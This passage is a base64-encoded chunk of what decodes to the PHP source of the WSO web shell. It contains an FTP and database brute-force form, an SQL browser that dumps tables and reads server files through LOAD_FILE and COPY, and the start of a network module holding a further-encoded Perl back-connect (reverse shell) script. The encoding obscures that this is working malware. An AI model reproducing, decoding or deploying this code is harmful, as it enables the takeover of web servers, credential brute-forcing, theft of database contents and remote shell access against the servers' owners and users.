ZSkuJzxicj4nOwoJCQkJCX0KCQkJCX0KCQl9CgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFu PiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7Cgl9 CgllY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+ PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRk PjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9u IHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3Fs PC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+JwoJCS4nPGlucHV0IHR5cGU9aGlk ZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+ JwoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJz KCRfUE9TVFsnYSddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZh bHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicKCQkuJzxzcGFu PlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1z ZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+QnJ1 dGUgdHlwZTwvc3Bhbj48L3RkPicKCQkuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFt ZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicK CQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlu cHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAo bG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48 bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwv bGFiZWw+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRk aW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicKCQkuJzx0ZD48 aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nCgkJLic8 dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9 dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10p LidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nCgkJLic8L3RkPjwvdHI+PHRyPjx0ZD48 L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwv dGFibGU+JzsKCWVjaG8gJzwvZGl2Pjxicj4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFj dGlvblNxbCgpIHsKCWNsYXNzIERiQ2xhc3MgewoJCXZhciAkdHlwZTsKCQl2YXIgJGxpbms7CgkJ dmFyICRyZXM7CgkJZnVuY3Rpb24gRGJDbGFzcygkdHlwZSkJewoJCQkkdGhpcy0+dHlwZSA9ICR0 eXBlOwoJCX0KCQlmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUp ewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZiggJHRo aXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVy biB0cnVlOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCSRob3N0ID0gZXhwbG9k ZSgnOicsICRob3N0KTsKCQkJCQlpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7CgkJCQkJaWYo ICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsx XX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRy dWU7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBzZWxl Y3RkYigkZGIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJ CQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsKCQkJCQlicmVhazsKCQkJ fQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsKCQkJc3dpdGNo KCR0aGlzLT50eXBlKSB7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5yZXMg PSBAbXlzcWxfcXVlcnkoJHN0cik7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJ cmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7CgkJCQkJYnJl YWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBmZXRjaCgpIHsKCQkJJHJl cyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsKCQkJc3dpdGNo KCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuIEBteXNxbF9mZXRj aF9hc3NvYygkcmVzKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4g QHBnX2ZldGNoX2Fzc29jKCRyZXMpOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsK CQl9CgkJZnVuY3Rpb24gbGlzdERicygpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQlj YXNlICdteXNxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfbGlzdF9kYnMoJHRo aXMtPmxpbmspOwoJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJcmV0dXJuICR0aGlz LT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UiKTsK CQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gbGlzdFRhYmxl cygpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0 dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7CgkJCQlicmVhazsK CQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgi c2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlICh0 YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAn cGdfY2F0YWxvZycpIG9yIHRhYmxlX25hbWUgPSAncGdfc2hhZG93JyIpOwoJCQkJYnJlYWs7CgkJ CX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBlcnJvcigpIHsKCQkJc3dpdGNoKCR0 aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuIEBteXNxbF9lcnJvcigk dGhpcy0+bGluayk7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBn X2xhc3RfZXJyb3IoJHRoaXMtPmxpbmspOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNl OwoJCX0KCQlmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBl KQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRf Y2hhcnNldCcpKQoJCQkJCQlyZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5s aW5rKTsKCQkJCQllbHNlCgkJCQkJCSR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsK CQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX3NldF9jbGllbnRf ZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBm YWxzZTsKCQl9CgkJZnVuY3Rpb24gbG9hZEZpbGUoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5 cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5x dWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikp OwoJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJJHRoaXMtPnF1ZXJ5KCJDUkVBVEUg VEFCTEUgd3NvMihmaWxlIHRleHQpO0NPUFkgd3NvMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0ciku Iic7c2VsZWN0IGZpbGUgZnJvbSB3c28yOyIpOwoJCQkJCSRyPWFycmF5KCk7CgkJCQkJd2hpbGUo JGk9JHRoaXMtPmZldGNoKCkpCgkJCQkJCSRyW10gPSAkaVsnZmlsZSddOwoJCQkJCSR0aGlzLT5x dWVyeSgnZHJvcCB0YWJsZSB3c28yJyk7CgkJCQkJcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9k ZSgiXG4iLCRyKSk7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0 aW9uIGR1bXAoJHRhYmxlKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlz cWwnOgoJCQkJCSRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJs ZS4nYCcpOwoJCQkJCSRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsKCQkJCQllY2hv ICRjcmVhdGVbMV0uIjtcblxuIjsKCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcu JHRhYmxlLidgJyk7CgkJCQkJd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewoJCQkJCQkk Y29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CgkJCQkJ CQkkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOwoJCQkJ CQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7CgkJCQkJCX0KCQkJCQllY2hvICdJTlNFUlQgSU5U TyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmlt cGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsKCQkJCQl9CgkJCQlicmVhazsKCQkJCWNhc2Ug J3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwoJCQkJ CXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgp OwoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewoJCQkJCQkJJGl0ZW1bJGtdID0gIici LmFkZHNsYXNoZXMoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAkazsKCQkJCQkJfQoJCQkJ CWVjaG8gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucyku JykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsKCQkJCQl9CgkJCQli cmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJfTsKCSRkYiA9IG5ldyBEYkNsYXNzKCRf UE9TVFsndHlwZSddKTsKCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsKCQlvYl9zdGFy dCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CgkJJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3Qn XSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9i YXNlJ10pOwoJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKCQloZWFkZXIoIkNv bnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7CgkJaGVh ZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsKCQlmb3JlYWNoKCRfUE9TVFsndGJsJ10g YXMgJHYpCgkJCQkkZGItPmR1bXAoJHYpOwoJCWV4aXQ7Cgl9Cgl3c29IZWFkZXIoKTsKCWVjaG8g Igo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KPGZvcm0gbmFtZT0nc2Yn IG1ldGhvZD0ncG9zdCc+PHRhYmxlIGNlbGxwYWRkaW5nPScyJyBjZWxsc3BhY2luZz0nMCc+PHRy Pgo8dGQ+VHlwZTwvdGQ+PHRkPkhvc3Q8L3RkPjx0ZD5Mb2dpbjwvdGQ+PHRkPlBhc3N3b3JkPC90 ZD48dGQ+RGF0YWJhc2U8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPgo8aW5wdXQgdHlwZT1oaWRkZW4g bmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnkn PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFs dWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9 aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8k X1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPgo8dGQ+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9u IHZhbHVlPSdteXNxbCcgIjsKICAgIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdz ZWxlY3RlZCc7CmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOwpp ZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOwplY2hvICI+UG9zdGdy ZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3Fs X2hvc3QgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0 bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+Cjx0ZD48aW5wdXQg dHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfbG9n aW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iJz48 L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPSciLiAoZW1wdHko JF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3Mn XSkpIC4iJz48L3RkPjx0ZD4iOwoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jh c2UgdmFsdWU9Jyc+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpewoJCWlmKCRkYi0+ Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsn c3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgewoJCQlzd2l0Y2goJF9QT1NUWydjaGFy c2V0J10pIHsKCQkJCWNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUx Jyk7IGJyZWFrOwoJCQkJY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJl YWs7CgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOwoJ CQkJY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKCQkJCWNh c2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsKCQkJfQoJCQkkZGIt Pmxpc3REYnMoKTsKCQkJZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9 Jyc+PC9vcHRpb24+IjsKCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsKCQkJCWxpc3Qo JGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4k dmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4n LiR2YWx1ZS4nPC9vcHRpb24+JzsKCQkJfQoJCQllY2hvICc8L3NlbGVjdD4nOwoJCX0KCQllbHNl IGVjaG8gJHRtcDsKCX1lbHNlCgkJZWNobyAkdG1wOwoJZWNobyAiPC90ZD4KCQkJCTx0ZD48aW5w dXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L3RkPgoJCQk8L3RyPgoJCTwvdGFibGU+CgkJPHNj cmlwdD4KCQkJZnVuY3Rpb24gc3QodCxsKSB7CgkJCQlkb2N1bWVudC5zZi5wMS52YWx1ZSA9ICdz ZWxlY3QnOwoJCQkJZG9jdW1lbnQuc2YucDIudmFsdWUgPSB0OwoJCQkJaWYobCE9bnVsbClkb2N1 bWVudC5zZi5wMy52YWx1ZSA9IGw7CgkJCQlkb2N1bWVudC5zZi5zdWJtaXQoKTsKCQkJfQoJCQlm dW5jdGlvbiBpcygpIHsKCQkJCWZvcihpPTA7aTxkb2N1bWVudC5zZi5lbGVtZW50c1sndGJsW10n XS5sZW5ndGg7KytpKQoJCQkJCWRvY3VtZW50LnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNr ZWQgPSAhZG9jdW1lbnQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZDsKCQkJfQoJCTwv c2NyaXB0PiI7CglpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7CgkJZWNobyAiPGJyLz48dGFi bGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsKCQkJaWYoIWVtcHR5 KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewoJCQkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNl J10pOwoJCQkJZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xp ZCAjNjY2O2JvcmRlci1yaWdodDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+ PGJyPjxicj4iOwoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CgkJCQl3aGlsZSgk aXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgewoJCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9 IGVhY2goJGl0ZW0pOwoJCQkJCSRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09V TlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7CgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxj aGFycygkdmFsdWUpOwoJCQkJCWVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFt ZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0 KCciLiR2YWx1ZS4iJylcIj4iLiR2YWx1ZS4iPC9hPiAoIi4kblsnbiddLiIpPC9ub2JyPjxicj4i OwoJCQkJfQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+ IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIu dmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PC90ZD48dGQgc3R5bGU9 J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOwoJCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAn c2VsZWN0JykgewoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7CgkJCQkJJGRiLT5xdWVyeSgn U0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiRfUE9TVFsncDInXS4nJyk7CgkJCQkJJG51bSA9 ICRkYi0+ZmV0Y2goKTsKCQkJCQkkbnVtID0gJG51bVsnbiddOwoJCQkJCWVjaG8gIjxzcGFuPiIu JF9QT1NUWydwMiddLiI8L3NwYW4+ICgkbnVtKSAiOwoJCQkJCWZvcigkaT0wOyRpPCgkbnVtLzMw KTskaSsrKQoJCQkJCQlpZigkaSAhPSAoaW50KSRfUE9TVFsncDMnXSkKCQkJCQkJCWVjaG8gIjxh IGhyZWY9JyMnIG9uY2xpY2s9J3N0KFwiIi4kX1BPU1RbJ3AyJ10uIlwiLCAkaSknPiIsKCRpKzEp LCI8L2E+ICI7CgkJCQkJCWVsc2UKCQkJCQkJCWVjaG8gKCRpKzEpLCIgIjsKCQkJCQlpZigkX1BP U1RbJ3R5cGUnXT09J3Bnc3FsJykKCQkJCQkJJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00g Jy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsKCQkJ CQllbHNlCgkJCQkJCSRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDIn XS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOwoJCQkJCWVjaG8gIjxicj48YnI+ IjsKCQkJCX0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BP U1RbJ3AzJ10pKSB7CgkJCQkJJGRiLT5xdWVyeShAJF9QT1NUWydwMyddKTsKCQkJCQlpZigkZGIt PnJlcyAhPT0gZmFsc2UpIHsKCQkJCQkJJHRpdGxlID0gZmFsc2U7CgkJCQkJCWVjaG8gJzx0YWJs ZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluPic7CgkJ CQkJCSRsaW5lID0gMTsKCQkJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsKCQkJCQkJ CWlmKCEkdGl0bGUpCXsKCQkJCQkJCQllY2hvICc8dHI+JzsKCQkJCQkJCQlmb3JlYWNoKCRpdGVt IGFzICRrZXkgPT4gJHZhbHVlKQoJCQkJCQkJCQllY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7CgkJ CQkJCQkJcmVzZXQoJGl0ZW0pOwoJCQkJCQkJCSR0aXRsZT10cnVlOwoJCQkJCQkJCWVjaG8gJzwv dHI+PHRyPic7CgkJCQkJCQkJJGxpbmUgPSAyOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAnPHRyIGNs YXNzPSJsJy4kbGluZS4nIj4nOwoJCQkJCQkJJGxpbmUgPSAkbGluZT09MT8yOjE7CgkJCQkJCQlm b3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7CgkJCQkJCQkJaWYoJHZhbHVlID09IG51 bGwpCgkJCQkJCQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsKCQkJCQkJCQllbHNlCgkJ CQkJCQkJCWVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+ JzsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJzwvdHI+JzsKCQkJCQkJfQoJCQkJCQllY2hvICc8L3Rh YmxlPic7CgkJCQkJfSBlbHNlIHsKCQkJCQkJZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRt bHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOwoJCQkJCX0KCQkJCX0KCQkJCWVj aG8gIjxicj48dGV4dGFyZWEgbmFtZT0ncDMnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBw eCc+Ii5AaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pLiI8L3RleHRhcmVhPjxici8+PGlu cHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwoJCQkJZWNobyAiPC90ZD48L3RyPiI7 CgkJCX0KCQkJZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz48Zm9ybSBvbnN1Ym1pdD0nZG9jdW1l bnQuc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52 YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8 L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0 eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOwoJCQlpZihAJF9QT1NUWydwMSddID09ICds b2FkZmlsZScpIHsKCQkJCSRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOwoJCQkJ ZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8 L3ByZT4nOwoJCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0KZnVuY3Rpb24g YWN0aW9uTmV0d29yaygpIHsKCXdzb0hlYWRlcigpOwoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhO eUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdr UVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZ MnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklD UWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJO 